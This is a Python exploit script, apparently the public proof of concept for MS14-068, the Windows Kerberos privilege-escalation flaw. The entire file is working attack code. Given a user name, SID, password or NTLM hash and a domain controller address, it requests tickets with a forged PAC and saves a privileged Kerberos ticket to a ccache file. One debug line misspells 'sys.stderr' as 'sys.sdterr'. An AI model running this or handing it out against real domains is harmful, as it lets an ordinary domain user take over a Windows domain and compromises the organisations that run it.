#!/usr/bin/python
# MS14-068 Exploit
# Author
# ------
# Sylvain Monne
# Contact : sylvain dot monne at solucom dot fr
# http://twitter.com/bidord
import sys, os
from random import getrandbits
from time import time, localtime, strftime
from kek.ccache import CCache, get_tgt_cred, kdc_rep2ccache
from kek.crypto import generate_subkey, ntlm_hash, RC4_HMAC, HMAC_MD5
from kek.krb5 import build_as_req, build_tgs_req, send_req, recv_rep, \
decrypt_as_rep, decrypt_tgs_rep, decrypt_ticket_enc_part, iter_authorization_data, \
AD_WIN2K_PAC
from kek.pac import build_pac, pretty_print_pac
from kek.util import epoch2gt, gt2epoch
def sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host,
output_filename, krbtgt_a_key=None, trust_ab_key=None, target_key=None):
sys.stderr.write(' [+] Building AS-REQ for %s...' % kdc_a)
sys.stderr.flush()
nonce = getrandbits(31)
current_time = time()
as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending AS-REQ to %s...' % kdc_a)
sys.stderr.flush()
sock = send_req(as_req, kdc_a)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving AS-REP from %s...' % kdc_a)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing AS-REP from %s...' % kdc_a)
sys.stderr.flush()
as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue']))
logon_time = gt2epoch(str(as_rep_enc['authtime']))
tgt_a = as_rep['ticket']
sys.stderr.write(' Done!\n')
if krbtgt_a_key is not None:
print >> sys.sdterr, as_rep.prettyPrint()
print >> sys.stderr, as_rep_enc.prettyPrint()
ticket_debug(tgt_a, krbtgt_a_key)
sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_a)
sys.stderr.flush()
subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name,
tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_a)
sys.stderr.flush()
sock = send_req(tgs_req, kdc_a)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_a)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_a)
tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)
session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue']))
tgt_b = tgs_rep['ticket']
sys.stderr.write(' Done!\n')
if trust_ab_key is not None:
pretty_print_pac(pac[1])
print >> sys.stderr, tgs_rep.prettyPrint()
print >> sys.stderr, tgs_rep_enc.prettyPrint()
ticket_debug(tgt_b, trust_ab_key)
if target_service is not None and target_host is not None and kdc_b is not None:
sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_b)
sys.stderr.flush()
subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
tgs_req2 = build_tgs_req(target_realm, target_service, target_host, user_realm, user_name,
tgt_b, session_key2, subkey, nonce, current_time)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_b)
sys.stderr.flush()
sock = send_req(tgs_req2, kdc_b)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_b)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_b)
tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey)
sys.stderr.write(' Done!\n')
else:
tgs_rep2 = tgs_rep
tgs_rep_enc2 = tgs_rep_enc
sys.stderr.write(' [+] Creating ccache file %r...' % output_filename)
cc = CCache((user_realm, user_name))
tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2)
cc.add_credential(tgs_cred)
cc.save(output_filename)
sys.stderr.write(' Done!\n')
if target_key is not None:
print >> sys.stderr, tgs_rep2.prettyPrint()
print >> sys.stderr, tgs_rep_enc2.prettyPrint()
ticket_debug(tgs_rep2['ticket'], target_key)
# Pretty print full ticket content
# Only possible in a lab environment when you already know krbtgt and/or service keys
def ticket_debug(ticket, key):
try:
ticket_enc = decrypt_ticket_enc_part(ticket, key)
print >> sys.stderr, ticket.prettyPrint()
for ad in iter_authorization_data(ticket_enc['authorization-data']):
print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad['ad-type']
if ad['ad-type'] == AD_WIN2K_PAC:
pretty_print_pac(str(ad['ad-data']))
else:
print >> sys.stderr, str(ad['ad-data']).encode('hex')
except Exception as e:
print 'ERROR:', e
if __name__ == '__main__':
from getopt import getopt
from getpass import getpass
def usage_and_exit():
print >> sys.stderr, 'USAGE:'
print >> sys.stderr, '%s -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>' % sys.argv[0]
print >> sys.stderr, ''
print >> sys.stderr, 'OPTIONS:'
print >> sys.stderr, ' -p <clearPassword>'
print >> sys.stderr, ' --rc4 <ntlmHash>'
sys.exit(1)
opts, args = getopt(sys.argv[1:], 'u:s:d:p:', ['rc4='])
opts = dict(opts)
if not all(k in opts for k in ('-u', '-s', '-d')):
usage_and_exit()
user_name, user_realm = opts['-u'].split('@', 1)
user_sid = opts['-s']
kdc_a = opts['-d']
if '--rc4' in opts:
user_key = (RC4_HMAC, opts['--rc4'].decode('hex'))
assert len(user_key[1]) == 16
elif '-p' in opts:
user_key = (RC4_HMAC, ntlm_hash(opts['-p']).digest())
else:
user_key = (RC4_HMAC, ntlm_hash(getpass('Password: ')).digest())
target_realm = user_realm
target_service = target_host = kdc_b = None
filename = 'TGT_%s@%s.ccache' % (user_name, user_realm)
user_realm = user_realm.upper()
target_realm = target_realm.upper()
sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host, filename)
